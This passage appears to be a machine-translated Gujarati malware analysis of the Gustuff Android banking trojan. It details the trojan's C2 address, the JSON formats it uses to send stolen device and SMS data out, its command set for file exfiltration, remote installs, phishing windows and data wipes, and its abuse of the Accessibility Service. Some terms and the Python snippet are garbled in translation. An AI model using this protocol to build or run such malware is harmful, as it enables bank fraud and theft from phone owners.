એન્ડ્રોઇડ ટ્રોજન ગસ્ટફ તમારા એકાઉન્ટમાંથી ક્રીમ (ફિયાટ અને ક્રિપ્ટો) ને કેવી રીતે સ્કિમ કરે છે

બીજા દિવસે જ ગ્રુપ-આઈ.બી જાણ કરી મોબાઇલ એન્ડ્રોઇડ ટ્રોજન ગસ્ટફની પ્રવૃત્તિ વિશે. તે 100 સૌથી મોટી વિદેશી બેંકોના ક્લાયન્ટ્સ, મોબાઇલ 32 ક્રિપ્ટો વોલેટ્સના વપરાશકર્તાઓ તેમજ મોટા ઈ-કોમર્સ સંસાધનો પર હુમલો કરીને આંતરરાષ્ટ્રીય બજારોમાં જ કામ કરે છે. પરંતુ ગસ્ટફના ડેવલપર બેસ્ટઓફરના ઉપનામ હેઠળ રશિયન બોલતા સાયબર ક્રિમિનલ છે. તાજેતરમાં સુધી, તેમણે તેમના ટ્રોજનને "જ્ઞાન અને અનુભવ ધરાવતા લોકો માટે ગંભીર ઉત્પાદન" તરીકે પ્રશંસા કરી હતી.

ગ્રુપ-આઈબીમાં દૂષિત કોડ વિશ્લેષણ નિષ્ણાત ઇવાન પિસારેવ તેમના સંશોધનમાં, તે ગસ્ટફ કેવી રીતે કામ કરે છે અને તેના જોખમો શું છે તે વિશે વિગતવાર વાત કરે છે.

ગસ્ટફ કોનો શિકાર કરે છે?

Gustuff સંપૂર્ણપણે સ્વયંસંચાલિત કાર્યો સાથે માલવેરની નવી પેઢીનું છે. ડેવલપરના જણાવ્યા મુજબ, ટ્રોજન એ એન્ડીબોટ માલવેરનું નવું અને સુધારેલું સંસ્કરણ બની ગયું છે, જે નવેમ્બર 2017 થી એન્ડ્રોઇડ ફોન પર હુમલો કરી રહ્યું છે અને જાણીતી આંતરરાષ્ટ્રીય બેંકો અને પેમેન્ટ સિસ્ટમ્સની મોબાઇલ એપ્લિકેશન્સ તરીકે માસ્કરેડ કરીને ફિશિંગ વેબ ફોર્મ દ્વારા નાણાંની ચોરી કરી રહ્યું છે. Bestoffer એ અહેવાલ આપ્યો કે Gustuff Bot ભાડાની કિંમત દર મહિને $800 હતી.

ગસ્ટફ સેમ્પલના પૃથ્થકરણે દર્શાવ્યું હતું કે ટ્રોજન સંભવિત રીતે બેંક ઓફ અમેરિકા, બેંક ઓફ સ્કોટલેન્ડ, જેપી મોર્ગન, વેલ્સ ફાર્ગો, કેપિટલ વન, ટીડી બેંક, પીએનસી બેંક તેમજ બિટકોઈન જેવી મોટી બેંકોની મોબાઈલ એપ્લિકેશનનો ઉપયોગ કરીને ગ્રાહકોને લક્ષ્ય બનાવી રહ્યું છે. વૉલેટ ક્રિપ્ટો વૉલેટ. BitPay, Cryptopay, Coinbase, વગેરે.

મૂળરૂપે ક્લાસિક બેંકિંગ ટ્રોજન તરીકે બનાવવામાં આવ્યું હતું, વર્તમાન સંસ્કરણમાં ગસ્ટફે હુમલા માટે સંભવિત લક્ષ્યોની સૂચિને નોંધપાત્ર રીતે વિસ્તૃત કરી છે. બેંકો, ફિનટેક કંપનીઓ અને ક્રિપ્ટો સેવાઓ માટે એન્ડ્રોઇડ એપ્લિકેશન્સ ઉપરાંત, ગસ્ટફ માર્કેટપ્લેસ એપ્લિકેશન્સ, ઓનલાઈન સ્ટોર્સ, પેમેન્ટ સિસ્ટમ્સ અને ઇન્સ્ટન્ટ મેસેન્જર્સના વપરાશકર્તાઓને લક્ષ્યમાં રાખે છે. ખાસ કરીને, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut અને અન્ય.

પ્રવેશ બિંદુ: સામૂહિક ચેપ માટે ગણતરી

Gustuff એ APK ની લિંક્સ સાથે SMS મેઇલિંગ દ્વારા Android સ્માર્ટફોનમાં પ્રવેશના "ક્લાસિક" વેક્ટર દ્વારા વર્ગીકૃત થયેલ છે. જ્યારે એન્ડ્રોઇડ ડિવાઇસ સર્વરના આદેશ પર ટ્રોજનથી સંક્રમિત થાય છે, ત્યારે ગસ્ટફ ચેપગ્રસ્ત ફોનના કોન્ટેક્ટ ડેટાબેસ અથવા સર્વર ડેટાબેઝ દ્વારા વધુ ફેલાઈ શકે છે. ગસ્ટફની કાર્યક્ષમતા સામૂહિક ચેપ અને તેના ઓપરેટરોના વ્યવસાયના મહત્તમ કેપિટલાઇઝેશન માટે રચાયેલ છે - તે કાયદેસર મોબાઇલ બેંકિંગ એપ્લિકેશનો અને ક્રિપ્ટો વોલેટ્સમાં એક અનન્ય "ઓટો-ફિલ" કાર્ય ધરાવે છે, જે તમને નાણાંની ચોરીને ઝડપી અને સ્કેલ કરવાની મંજૂરી આપે છે.

ટ્રોજનનો અભ્યાસ દર્શાવે છે કે તેમાં ઓટોફિલ ફંક્શન એક્સેસિબિલિટી સર્વિસનો ઉપયોગ કરીને લાગુ કરવામાં આવ્યું હતું, જે વિકલાંગ લોકો માટેની સેવા છે. ગસ્ટફ એ પ્રથમ ટ્રોજન નથી જેણે આ Android સેવાનો ઉપયોગ કરીને અન્ય એપ્લિકેશનના વિન્ડો તત્વો સાથેની ક્રિયાપ્રતિક્રિયા સામે રક્ષણને સફળતાપૂર્વક બાયપાસ કર્યું છે. જો કે, કાર ફિલર સાથે સુલભતા સેવાનો ઉપયોગ હજુ પણ ખૂબ જ દુર્લભ છે.

પીડિતના ફોન પર ડાઉનલોડ કર્યા પછી, ગસ્ટફ, ઍક્સેસિબિલિટી સેવાનો ઉપયોગ કરીને, અન્ય એપ્લિકેશન્સ (બેન્કિંગ, ક્રિપ્ટોકરન્સી, તેમજ ઑનલાઇન શોપિંગ, મેસેજિંગ વગેરે માટેની એપ્લિકેશનો) ના વિન્ડો તત્વો સાથે ક્રિયાપ્રતિક્રિયા કરવામાં સક્ષમ છે, જે હુમલાખોરો માટે જરૂરી ક્રિયાઓ કરે છે. . ઉદાહરણ તરીકે, સર્વરના આદેશ પર, ટ્રોજન બટનો દબાવી શકે છે અને બેંકિંગ એપ્લિકેશન્સમાં ટેક્સ્ટ ફીલ્ડના મૂલ્યોને બદલી શકે છે. ઍક્સેસિબિલિટી સર્વિસ મિકેનિઝમનો ઉપયોગ કરીને ટ્રોજનને અગાઉની પેઢીના મોબાઇલ ટ્રોજનનો સામનો કરવા માટે બેંકો દ્વારા ઉપયોગમાં લેવાતી સુરક્ષા પદ્ધતિને બાયપાસ કરવાની મંજૂરી આપે છે, તેમજ એન્ડ્રોઇડ ઓએસના નવા વર્ઝનમાં Google દ્વારા અમલમાં મૂકાયેલ સુરક્ષા નીતિમાં ફેરફારો. આમ, ગુસ્ટફ Google Protect સંરક્ષણને અક્ષમ કરવા માટે "કેવી રીતે જાણે છે": લેખકના જણાવ્યા મુજબ, આ કાર્ય 70% કેસોમાં કાર્ય કરે છે.

Gustuff કાયદેસર મોબાઇલ એપ્લિકેશનના આઇકોન સાથે નકલી પુશ સૂચનાઓ પણ પ્રદર્શિત કરી શકે છે. વપરાશકર્તા પુશ સૂચના પર ક્લિક કરે છે અને સર્વરમાંથી ડાઉનલોડ કરેલી ફિશિંગ વિન્ડો જુએ છે, જ્યાં તે વિનંતી કરેલ બેંક કાર્ડ અથવા ક્રિપ્ટો વૉલેટ ડેટા દાખલ કરે છે. અન્ય ગસ્ટફ દૃશ્યમાં, એપ્લિકેશન કે જેના વતી PUSH સૂચના પ્રદર્શિત કરવામાં આવી હતી તે ખોલવામાં આવે છે. આ કિસ્સામાં, મૉલવેર, ઍક્સેસિબિલિટી સેવા દ્વારા સર્વર તરફથી આદેશ પર, કપટપૂર્ણ વ્યવહાર માટે બેંકિંગ એપ્લિકેશનના ફોર્મ ફીલ્ડ્સ ભરી શકે છે.

ગસ્ટફની કાર્યક્ષમતામાં સર્વર પર સંક્રમિત ઉપકરણ વિશેની માહિતી મોકલવી, SMS સંદેશાઓ વાંચવાની/મોકલવાની ક્ષમતા, USSD વિનંતીઓ મોકલવી, SOCKS5 પ્રોક્સી શરૂ કરવી, લિંકને અનુસરવી, ફાઇલો (દસ્તાવેજોના ફોટો સ્કેન, સ્ક્રીનશૉટ્સ, ફોટોગ્રાફ્સ સહિત) મોકલવાનો પણ સમાવેશ થાય છે. સર્વર, ઉપકરણને ફેક્ટરી સેટિંગ્સ પર ફરીથી સેટ કરો.

માલવેર વિશ્લેષણ

દૂષિત એપ્લિકેશન ઇન્સ્ટોલ કરતા પહેલા, Android OS વપરાશકર્તાને ગસ્ટફ દ્વારા વિનંતી કરાયેલ અધિકારોની સૂચિ ધરાવતી વિંડો બતાવે છે:

વપરાશકર્તાની સંમતિ પ્રાપ્ત કર્યા પછી જ એપ્લિકેશન ઇન્સ્ટોલ કરવામાં આવશે. એપ્લિકેશન લોંચ કર્યા પછી, ટ્રોજન વપરાશકર્તાને વિન્ડો બતાવશે:

જે પછી તે તેનું આઇકન હટાવી દેશે.

લેખકના જણાવ્યા મુજબ, FTT ના પેકર દ્વારા ગસ્ટફ પેક કરવામાં આવે છે. સ્ટાર્ટઅપ પછી, એપ્લિકેશન સમયાંતરે આદેશો મેળવવા માટે CnC સર્વરનો સંપર્ક કરે છે. અમે તપાસેલી કેટલીક ફાઇલોએ કંટ્રોલ સર્વર તરીકે IP એડ્રેસનો ઉપયોગ કર્યો છે 88.99.171[.]105 (ત્યારબાદ આપણે તેને આ રીતે દર્શાવીશું ).

લોન્ચ થયા પછી, પ્રોગ્રામ સર્વરને સંદેશા મોકલવાનું શરૂ કરે છે http://<%CnC%>/api/v1/get.php.

પ્રતિસાદ નીચેના ફોર્મેટમાં JSON હોવાની અપેક્ષા છે:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

દરેક વખતે એપ્લિકેશન એક્સેસ કરવામાં આવે છે, તે ચેપગ્રસ્ત ઉપકરણ વિશે માહિતી મોકલે છે. સંદેશ ફોર્મેટ નીચે દર્શાવેલ છે. તે નોંધવું વર્થ છે કે ક્ષેત્રો સંપૂર્ણ, વધારાની, એપ્લિકેશન્સ и પરવાનગી - વૈકલ્પિક અને CnC તરફથી વિનંતી આદેશના કિસ્સામાં જ મોકલવામાં આવશે.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

રૂપરેખાંકન ડેટાનો સંગ્રહ

ગસ્ટફ પ્રેફરન્સ ફાઇલમાં કાર્યકારી રીતે મહત્વપૂર્ણ માહિતીનો સંગ્રહ કરે છે. ફાઇલનું નામ, તેમજ તેમાંના પરિમાણોના નામ, શબ્દમાળામાંથી MD5 રકમની ગણતરીનું પરિણામ છે. 15413090667214.6.1જ્યાં - પ્રારંભિક નામ-મૂલ્ય. નામ જનરેશન ફંક્શનનું પાયથોન અર્થઘટન:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

આગળ આપણે તેને આ રીતે દર્શાવીશું નેમ જનરેટર(ઇનપુટ).
તેથી પ્રથમ ફાઇલનું નામ છે: નેમ જનરેટર("API_SERVER_LIST"), તે નીચેના નામો સાથે મૂલ્યો ધરાવે છે:

ચલ નામ	કિંમત
નેમ જનરેટર("API_SERVER_LIST")	એરેના રૂપમાં CnC સરનામાંઓની સૂચિ ધરાવે છે.
નેમ જનરેટર("API_SERVER_URL")	CnC સરનામું સમાવે છે.
નેમ જનરેટર("SMS_UPLOAD")	ધ્વજ મૂળભૂત રીતે સેટ કરેલ છે. જો ધ્વજ સેટ કરેલ હોય, તો CnC ને SMS સંદેશા મોકલે છે.
નેમ જનરેટર("SMS_ROOT_NUMBER")	ફોન નંબર કે જેના પર સંક્રમિત ઉપકરણ દ્વારા પ્રાપ્ત SMS સંદેશાઓ મોકલવામાં આવશે. ડિફોલ્ટ નલ છે.
નેમ જનરેટર("SMS_ROOT_NUMBER_RESEND")	ધ્વજ મૂળભૂત રીતે સાફ થાય છે. જો ઇન્સ્ટોલ કરેલ હોય, તો જ્યારે ચેપગ્રસ્ત ઉપકરણને SMS પ્રાપ્ત થાય છે, ત્યારે તે રૂટ નંબર પર મોકલવામાં આવશે.
નેમ જનરેટર("DEFAULT_APP_SMS")	ધ્વજ મૂળભૂત રીતે સાફ થાય છે. જો આ ફ્લેગ સેટ કરેલ હોય, તો એપ્લિકેશન આવનારા SMS સંદેશાઓ પર પ્રક્રિયા કરશે.
નેમ જનરેટર("DEFAULT_ADMIN")	ધ્વજ મૂળભૂત રીતે સાફ થાય છે. જો ધ્વજ સેટ કરેલ હોય, તો એપ્લિકેશન પાસે એડમિનિસ્ટ્રેટર અધિકારો છે.
નેમ જનરેટર("DEFAULT_ACCESSIBILITY")	ધ્વજ મૂળભૂત રીતે સાફ થાય છે. જો ધ્વજ સેટ કરેલ હોય, તો ઍક્સેસિબિલિટી સેવાનો ઉપયોગ કરતી સેવા ચાલી રહી છે.
નેમ જનરેટર("APPS_CONFIG")	JSON ઑબ્જેક્ટ કે જેમાં ક્રિયાઓની સૂચિ હોય છે જે ચોક્કસ એપ્લિકેશન સાથે સંકળાયેલ ઍક્સેસિબિલિટી ઇવેન્ટ ટ્રિગર થાય ત્યારે થવી જોઈએ.
નેમ જનરેટર("APPS_INSTALLED")	ઉપકરણ પર ઇન્સ્ટોલ કરેલ એપ્લિકેશનોની સૂચિ સંગ્રહિત કરે છે.
નેમ જનરેટર("IS_FIST_RUN")	ધ્વજ પ્રથમ શરૂઆતમાં રીસેટ થયેલ છે.
નેમ જનરેટર("UNIQUE_ID")	અનન્ય ઓળખકર્તા સમાવે છે. જ્યારે બોટ પ્રથમ વખત લોંચ કરવામાં આવે ત્યારે જનરેટ થાય છે.

સર્વરમાંથી આદેશોની પ્રક્રિયા કરવા માટેનું મોડ્યુલ

એપ્લિકેશન CnC સર્વરના સરનામાંને એન્કોડ કરેલા એરેના સ્વરૂપમાં સંગ્રહિત કરે છે બેઝએક્સએનયુએમએક્સ રેખાઓ CnC સર્વરોની સૂચિ યોગ્ય આદેશની પ્રાપ્તિ પર બદલી શકાય છે, આ કિસ્સામાં સરનામાંને પસંદગીની ફાઇલમાં સંગ્રહિત કરવામાં આવશે.

વિનંતીના જવાબમાં, સર્વર એપ્લિકેશનને આદેશ મોકલે છે. તે નોંધવું યોગ્ય છે કે આદેશો અને પરિમાણો JSON ફોર્મેટમાં રજૂ કરવામાં આવે છે. એપ્લિકેશન નીચેના આદેશો પર પ્રક્રિયા કરી શકે છે:

ટીમ	વર્ણન
ફોરવર્ડસ્ટાર્ટ	ચેપગ્રસ્ત ઉપકરણ દ્વારા પ્રાપ્ત થયેલા SMS સંદેશાઓ CnC સર્વરને મોકલવાનું શરૂ કરો.
ફોરવર્ડસ્ટોપ	ચેપગ્રસ્ત ઉપકરણ દ્વારા પ્રાપ્ત થયેલા SMS સંદેશાઓ CnC સર્વરને મોકલવાનું બંધ કરો.
ussdRun	યુએસએસડી વિનંતી ચલાવો. તમારે જે નંબર પર યુએસએસડી વિનંતી કરવાની જરૂર છે તે JSON ફીલ્ડ "નંબર" માં સ્થિત છે.
એસએમએસ મોકલો	એક SMS સંદેશ મોકલો (જો જરૂરી હોય તો, સંદેશને ભાગોમાં "વિભાજિત" કરવામાં આવે છે). પરિમાણ તરીકે, આદેશ એક JSON ઑબ્જેક્ટ લે છે જેમાં ફીલ્ડ્સ “to” - ગંતવ્ય નંબર અને "body" - સંદેશનો મુખ્ય ભાગ હોય છે.
SmsAb મોકલો	ચેપગ્રસ્ત ઉપકરણની સંપર્ક સૂચિમાં દરેકને SMS સંદેશાઓ (જો જરૂરી હોય તો, સંદેશને ભાગોમાં "વિભાજિત" કરવામાં આવે છે) મોકલો. સંદેશા મોકલવા વચ્ચેનું અંતરાલ 10 સેકન્ડ છે. સંદેશનો મુખ્ય ભાગ JSON ફીલ્ડ "બોડી"માં છે
SmsMass મોકલો	આદેશના પરિમાણોમાં ઉલ્લેખિત સંપર્કોને SMS સંદેશાઓ (જો જરૂરી હોય તો, સંદેશને ભાગોમાં "વિભાજિત" કરવામાં આવે છે) મોકલો. સંદેશા મોકલવા વચ્ચેનું અંતરાલ 10 સેકન્ડ છે. પરિમાણ તરીકે, આદેશ JSON એરે (“sms” ફીલ્ડ) લે છે, જેનાં ઘટકોમાં “to” – ગંતવ્ય નંબર અને “body” – સંદેશનો મુખ્ય ભાગ હોય છે.
ચેન્જ સર્વર	આ આદેશ પેરામીટર તરીકે કી "url" સાથે મૂલ્ય લઈ શકે છે - પછી બોટ nameGenerator("SERVER_URL"), અથવા "એરે" ની કિંમત બદલશે - પછી બોટ એરેને nameGenerator ("API_SERVER_LIST") પર લખશે. આમ, એપ્લિકેશન CnC સર્વર્સનું સરનામું બદલે છે.
એડમિન નંબર	આદેશ રૂટ નંબર સાથે કામ કરવા માટે રચાયેલ છે. આદેશ નીચેના પરિમાણો સાથે JSON ઑબ્જેક્ટને સ્વીકારે છે: “નંબર” — પ્રાપ્ત મૂલ્યમાં નામ જનરેટર(“ROOT_NUMBER”) બદલો, “ફરી મોકલો” — નામ જનરેટર બદલો(“SMS_ROOT_NUMBER_RESEND”), “sendId” — nameGenerator(“ROOT_NUMBER” ને મોકલો) ) અનન્ય ID.
અપડેટ માહિતી	સર્વર પર સંક્રમિત ઉપકરણ વિશેની માહિતી મોકલો.
ડેટા સાફ કરો	આદેશનો હેતુ વપરાશકર્તાનો ડેટા કાઢી નાખવાનો છે. એપ્લિકેશન કયા નામથી શરૂ કરવામાં આવી હતી તેના આધારે, કાં તો ઉપકરણ રીબૂટ (પ્રાથમિક વપરાશકર્તા) સાથે ડેટા સંપૂર્ણપણે ભૂંસી નાખવામાં આવે છે, અથવા ફક્ત વપરાશકર્તા ડેટા કાઢી નાખવામાં આવે છે (સેકન્ડરી વપરાશકર્તા).
socksStart	પ્રોક્સી મોડ્યુલ લોંચ કરો. મોડ્યુલની કામગીરી એક અલગ વિભાગમાં વર્ણવેલ છે.
socksStop	પ્રોક્સી મોડ્યુલ રોકો.
લિંક ખોલો	લિંકને અનુસરો. લિંક "url" કી હેઠળ JSON પરિમાણમાં સ્થિત છે. લિંક ખોલવા માટે “android.intent.action.VIEW” નો ઉપયોગ થાય છે.
બધા એસએમએસ અપલોડ કરો	ઉપકરણ દ્વારા પ્રાપ્ત થયેલા તમામ SMS સંદેશાઓ સર્વરને મોકલો.
બધા ફોટા અપલોડ કરો	ચેપગ્રસ્ત ઉપકરણમાંથી URL પર છબીઓ મોકલો. URL પેરામીટર તરીકે આવે છે.
ફાઈલ અપલોડ કરો	ચેપગ્રસ્ત ઉપકરણમાંથી URL પર ફાઇલ મોકલો. URL પેરામીટર તરીકે આવે છે.
ફોન નંબર અપલોડ કરો	તમારી સંપર્ક સૂચિમાંથી સર્વર પર ફોન નંબરો મોકલો. જો પેરામીટર તરીકે "ab" કી સાથે JSON ઑબ્જેક્ટ મૂલ્ય પ્રાપ્ત થાય છે, તો એપ્લિકેશન ફોન બુકમાંથી સંપર્કોની સૂચિ મેળવે છે. જો "sms" કી સાથેનો JSON ઑબ્જેક્ટ પરિમાણ તરીકે પ્રાપ્ત થાય છે, તો એપ્લિકેશન SMS સંદેશાઓ મોકલનારના સંપર્કોની સૂચિ વાંચે છે.
આર્કાઇવ બદલો	એપ્લિકેશન "url" કીનો ઉપયોગ કરીને પેરામીટર તરીકે આવતા સરનામાં પરથી ફાઇલ ડાઉનલોડ કરે છે. ડાઉનલોડ કરેલી ફાઈલ “archive.zip” નામ સાથે સાચવવામાં આવે છે. એપ્લિકેશન પછી ફાઇલને અનઝિપ કરશે, વૈકલ્પિક રીતે આર્કાઇવ પાસવર્ડ “b5jXh37gxgHBrZhQ4j3D” નો ઉપયોગ કરીને. અનઝિપ કરેલી ફાઇલો [બાહ્ય સ્ટોરેજ]/hgps ડિરેક્ટરીમાં સાચવવામાં આવે છે. આ ડિરેક્ટરીમાં, એપ્લિકેશન વેબ બનાવટી સ્ટોર કરે છે (નીચે વર્ણવેલ).
ક્રિયાઓ	આદેશ એક્શન સેવા સાથે કામ કરવા માટે રચાયેલ છે, જે એક અલગ વિભાગમાં વર્ણવેલ છે.
ટેસ્ટ	કઈ નથી કરી રહ્યો.
ડાઉનલોડ કરો	આદેશનો હેતુ રિમોટ સર્વરમાંથી ફાઇલ ડાઉનલોડ કરવાનો છે અને તેને "ડાઉનલોડ્સ" ડિરેક્ટરીમાં સાચવવાનો છે. URL અને ફાઇલનું નામ પેરામીટર તરીકે આવે છે, JSON પેરામીટર ઑબ્જેક્ટમાં ફીલ્ડ્સ, અનુક્રમે: “url” અને “fileName”.
દૂર	"ડાઉનલોડ્સ" ડિરેક્ટરીમાંથી ફાઇલને દૂર કરે છે. ફાઇલનું નામ "ફાઇલનામ" કી સાથે JSON પરિમાણમાં આવે છે. પ્રમાણભૂત ફાઇલનું નામ "tmp.apk" છે.
સૂચના	મેનેજમેન્ટ સર્વર દ્વારા વ્યાખ્યાયિત વર્ણન અને શીર્ષક પાઠો સાથે સૂચના બતાવો.

આદેશ ફોર્મેટ સૂચના:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

તપાસ હેઠળની ફાઇલ દ્વારા જનરેટ કરાયેલ સૂચના ક્ષેત્રમાં ઉલ્લેખિત એપ્લિકેશન દ્વારા જનરેટ કરાયેલ સૂચનાઓ જેવી જ લાગે છે. એપ્લિકેશન. જો ક્ષેત્ર મૂલ્ય ઓપન એપ — સાચું, જ્યારે સૂચના ખોલવામાં આવે છે, ત્યારે ક્ષેત્રમાં ઉલ્લેખિત એપ્લિકેશન શરૂ થાય છે એપ્લિકેશન. જો ક્ષેત્ર મૂલ્ય ઓપન એપ - ખોટું, પછી:

• ફિશિંગ વિન્ડો ખુલે છે, જેનાં સમાવિષ્ટો ડિરેક્ટરીમાંથી ડાઉનલોડ થાય છે /hgps/
• એક ફિશિંગ વિન્ડો ખુલે છે, જેનાં સમાવિષ્ટો સર્વર પરથી ડાઉનલોડ થાય છે ?id=&app=
• એક ફિશિંગ વિન્ડો ખુલે છે, જે Google Play કાર્ડના વેશમાં, કાર્ડની વિગતો દાખલ કરવાની તક સાથે.

એપ્લિકેશન કોઈપણ આદેશનું પરિણામ મોકલે છે set_state.php નીચેના ફોર્મેટમાં JSON ઑબ્જેક્ટ તરીકે:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ક્રિયા સેવા
આદેશોની સૂચિ કે જે એપ્લિકેશન પ્રક્રિયાઓ સમાવે છે ક્રિયા. જ્યારે આદેશ પ્રાપ્ત થાય છે, ત્યારે કમાન્ડ પ્રોસેસિંગ મોડ્યુલ વિસ્તૃત આદેશને ચલાવવા માટે આ સેવાને ઍક્સેસ કરે છે. સેવા પરિમાણ તરીકે JSON ઑબ્જેક્ટ સ્વીકારે છે. સેવા નીચેના આદેશો ચલાવી શકે છે:

1. PARAMS_ACTION — આવા આદેશ પ્રાપ્ત કરતી વખતે, સેવા પ્રથમ JSON પરિમાણમાંથી Type કીનું મૂલ્ય મેળવે છે, જે નીચે મુજબ હોઈ શકે છે:

• સેવા માહિતી - સબકમાન્ડ JSON પરિમાણમાંથી કી દ્વારા મૂલ્ય મેળવે છે મહત્વપૂર્ણ સમાવેશ થાય છે. જો ધ્વજ સાચું હોય, તો એપ્લિકેશન ધ્વજ સેટ કરે છે FLAG_ISOLATED_PROCESS ઍક્સેસિબિલિટી સેવાનો ઉપયોગ કરીને સેવા માટે. આ રીતે સેવાને અલગ પ્રક્રિયામાં શરૂ કરવામાં આવશે.
• રુટ - વિન્ડો વિશે સર્વર માહિતી મેળવો અને મોકલો કે જે હાલમાં ફોકસમાં છે. એપ્લિકેશન AccessibilityNodeInfo વર્ગનો ઉપયોગ કરીને માહિતી મેળવે છે.
• સંચાલક - વ્યવસ્થાપક અધિકારોની વિનંતી કરો.
• વિલંબ — “ડેટા” કી માટેના પરિમાણમાં ઉલ્લેખિત મિલિસેકન્ડની સંખ્યા માટે ક્રિયા સેવાને સ્થગિત કરો.
• વિન્ડોઝ - વપરાશકર્તાને દેખાતી વિન્ડોઝની યાદી મોકલો.
• ઇન્સ્ટોલ કરો - ચેપગ્રસ્ત ઉપકરણ પર એપ્લિકેશન ઇન્સ્ટોલ કરો. આર્કાઇવ પેકેજનું નામ "ફાઇલનામ" કીમાં છે. આર્કાઇવ પોતે ડાઉનલોડ્સ ડિરેક્ટરીમાં સ્થિત છે.
• વૈશ્વિક - સબકમાન્ડ વર્તમાન વિન્ડોમાંથી નેવિગેટ કરવા માટે બનાવાયેલ છે:
  • ઝડપી સેટિંગ્સ મેનૂ પર
  • પછાત
  • ઘર
  • સૂચનાઓ માટે
  • તાજેતરમાં ખોલેલી એપ્લિકેશન વિન્ડોમાં

• લોન્ચ - એપ્લિકેશન લોંચ કરો. એપ્લિકેશન નામ કી દ્વારા પરિમાણ તરીકે આવે છે માહિતી.
• અવાજ - અવાજ મોડને સાયલન્સમાં બદલો.
• અનલૉક - સ્ક્રીન અને કીબોર્ડની બેકલાઇટને સંપૂર્ણ તેજ પર ચાલુ કરે છે. એપ્લિકેશન વેકલોકનો ઉપયોગ કરીને આ ક્રિયા કરે છે, [એપ્લિકેશન લેબલ]:INFO ને ટેગ તરીકે સ્પષ્ટ કરીને
• પરવાનગીઓવરલે — ફંક્શન અમલમાં આવ્યું નથી (કમાન્ડ એક્ઝેક્યુશનનો પ્રતિસાદ {"message":"સપોર્ટ નથી"} અથવા {"message":"low sdk"} છે)
• હાવભાવ — ફંક્શન અમલમાં આવ્યું નથી (કમાન્ડ એક્ઝેક્યુશનનો પ્રતિસાદ {"message":"not support"}અથવા {"message":"Low API"} છે)
• પરવાનગીઓ — એપ્લિકેશન માટે પરવાનગીની વિનંતી કરવા માટે આ આદેશ જરૂરી છે. જો કે, ક્વેરી ફંક્શન અમલમાં આવ્યું નથી, તેથી આદેશ અર્થહીન છે. વિનંતી કરેલ અધિકારોની સૂચિ "પરમિશન" કી સાથે JSON એરે તરીકે આવે છે. માનક સૂચિ:
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_CONTACTS
  • android.permission.CALL_PHONE
  • android.permission.RECEIVE_SMS
  • android.permission.END_SMS
  • android.permission.READ_SMS
  • android.permission.READ_EXTERNAL_STORAGE
  • android.permission.WRITE_EXTERNAL_STORAGE

• ઓપન - ફિશીંગ વિન્ડો દર્શાવો. સર્વર તરફથી આવતા પરિમાણના આધારે, એપ્લિકેશન નીચેની ફિશીંગ વિન્ડો પ્રદર્શિત કરી શકે છે:
  • એક ફિશિંગ વિન્ડો બતાવો જેની સામગ્રીઓ ડિરેક્ટરીમાં ફાઇલમાં લખેલી હોય /hgps/. વિન્ડો સાથે વપરાશકર્તાની ક્રિયાપ્રતિક્રિયાનું પરિણામ મોકલવામાં આવશે /records.php
  • એક ફિશીંગ વિન્ડો બતાવો કે જેની સામગ્રીઓ સરનામાંથી પહેલાથી લોડ થયેલ છે ?id=&app=. વિન્ડો સાથે વપરાશકર્તાની ક્રિયાપ્રતિક્રિયાનું પરિણામ મોકલવામાં આવશે /records.php
  • Google Play કાર્ડના વેશમાં ફિશિંગ વિંડો બતાવો.

• ઇન્ટરેક્ટિવ — આદેશ એ AccessibilityService નો ઉપયોગ કરીને અન્ય કાર્યક્રમોના વિન્ડો ઘટકો સાથે ક્રિયાપ્રતિક્રિયા કરવા માટે રચાયેલ છે. કાર્યક્રમમાં વાર્તાલાપ માટે વિશેષ સેવા અમલમાં મૂકવામાં આવી છે. તપાસ હેઠળની એપ્લિકેશન વિન્ડોઝ સાથે સંપર્ક કરી શકે છે:
